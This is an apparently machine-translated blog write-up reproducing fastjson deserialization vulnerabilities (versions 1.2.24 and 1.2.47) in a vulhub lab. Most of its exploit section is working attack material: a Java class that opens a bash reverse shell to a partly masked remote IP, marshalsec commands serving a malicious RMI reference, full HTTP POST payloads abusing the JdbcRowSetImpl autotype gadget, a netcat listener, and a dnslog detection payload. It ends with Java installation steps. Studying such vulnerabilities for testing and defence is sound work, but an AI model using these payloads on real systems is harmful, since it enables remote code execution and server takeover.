当前位置:网站首页>Vulnerability recurrence fastjson deserialization
Vulnerability recurrence fastjson deserialization
2022-07-07 08:10:00 【_ s1mple】
Catalog
Vulnerability description
fastjson Provides autotype function , In the course of the request , We can modify it in the request package @type Value , To deserialize to the specified type , and fastjson In the process of deserialization, the properties in the class will be set and obtained , If there are malicious methods in the class , It will lead to problems such as code execution .
Loophole recurrence
The vulnerability environment here mainly uses vulhub The two of them fastjson Vulnerability construction , Visit after construction 8090 The port will appear as follows 
Exploit
We need to be in vps Open one on RMI The service call class file , First we create test.java Used to bounce shell, Use command javac test.java Compile the generated test.class( The whole experimental environment is based on java8 On the basis of )
import java.lang.Runtime;
import java.lang.Process;
public class test {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/59.110.xx.xx/8002 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
} With the help of marshalsec Project opening rmi service , monitor 9999 port , And make it possible to load remote classes test.class
We first need to compile and generate marshalsec-0.0.3-SNAPSHOT-all.jar
git clone https://github.com/mbechler/marshalsec
cd marshalsec
mvn clean package -DskipTests
Let's start with http The service is convenient. It will be loaded later test.class
# python2
python2 -m SimpleHTTPServer
# python3
python3 -m http.serverThen we'll start RMI Service monitoring 9999 port
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://59.110.xx.xx:8000/#test" 9999The local server listens to the port in the file
nc -nvlp xxxxAll the above operations are completed on the same server

fastjson 1.2.24
POST / HTTP/1.1
Host: 139.196.xx.xx:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 162
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://59.110.xx.xx:9999/Test",
"autoCommit":true
}
}
fastjson 1.2.47
POST / HTTP/1.1
Host: 139.196.xx.xx:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 162
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://59.110.xx.xx:9999/test",
"autoCommit":true
}
}appendix
Fastjson Leak detection
stay http://dnslog.cn/ Randomly generate a domain name , And then construct payload
{"@type":"java.net.InetAddress","val":"dsunaw.dnslog.cn"}take payload Send in the request body , If dnslog Records exist fastjson Loophole

install java8
Download address :https://github.com/frekele/oracle-java/releases
download jdk-8u221-linux-x64.tar.gz
OR
sudo apt-get install openjdk-8-jdk
uninstall
# View installed OpenJDK package
dpkg --list | grep -i jdk
# uninstall OpenJDK Related packages
apt-get purge openjdk-*
# Check all OpenJDK Whether all packages have been uninstalled
dpkg --list | grep -i jdkinstall
# Put the compressed package in /opt/java Under the table of contents
mv jdk-8u212-linux-x64.tar.gz /opt/java
# decompression
tar -zxvf jdk--8u212-linux-x64.tar.gz
# Configure environment variables
modify /etc/profile file
vim /etc/profile
Add the following information at the end of the text
export JAVA_HOME=/opt/java/jdk1.8.0_212
export JRE_HOME=${JAVA_HOME}/jre
export CLASSPATH=.:${JAVA_HOME}/lib:${JRE_HOME}/lib
export PATH=${JAVA_HOME}/bin:${PATH}
# send java Environmental effect
source /etc/profile
# Check whether the installation is successful
java -versionReference resources :Fastjson Deserialization vulnerability recurrence _ Little white @ The blog of -CSDN Blog _fastjson Deserialization vulnerability recurrence
边栏推荐
- C language communication travel card background system
- Linux server development, detailed explanation of redis related commands and their principles
- 面试题(CAS)
- 漏洞复现-easy_tornado
- 力扣(LeetCode)187. 重复的DNA序列(2022.07.06)
- [matlab] when matrix multiplication in Simulink user-defined function does not work properly, matrix multiplication module in module library can be used instead
- ZCMU--1492: Problem D(C语言)
- 青龙面板-今日头条
- buureservewp(2)
- Recursive method to construct binary tree from preorder and inorder traversal sequence
猜你喜欢

2022 National latest fire-fighting facility operator (primary fire-fighting facility operator) simulation questions and answers

通俗易懂单点登录SSO

These five fishing artifacts are too hot! Programmer: I know, delete it quickly!

Myabtis_Plus

Linux server development, redis source code storage principle and data model

漏洞复现-easy_tornado

Interactive book delivery - signed version of Oracle DBA work notes

央视太暖心了,手把手教你写HR最喜欢的简历

Jmeter 的使用

漏洞复现-Fastjson 反序列化
随机推荐
[quick start of Digital IC Verification] 17. Basic grammar of SystemVerilog learning 4 (randomization)
Qinglong panel - today's headlines
[quick start of Digital IC Verification] 15. Basic syntax of SystemVerilog learning 2 (operators, type conversion, loops, task/function... Including practical exercises)
Unityhub cracking & unity cracking
芯片资料 网站 易特创芯
Example of file segmentation
Linux server development, MySQL cache strategy
Network learning (III) -- highly concurrent socket programming (epoll)
ZCMU--1492: Problem D(C语言)
Implementation of replacement function of shell script
DNS server configuration
电池、电机技术受到很大关注,反而电控技术却很少被提及?
C语言二叉树与建堆
LeetCode简单题之找到一个数字的 K 美丽值
Zsh shell adds automatic completion and syntax highlighting
Blob 对象介绍
Avatary's livedriver trial experience
C language queue
复杂网络建模(三)
Complete linear regression manually based on pytoch framework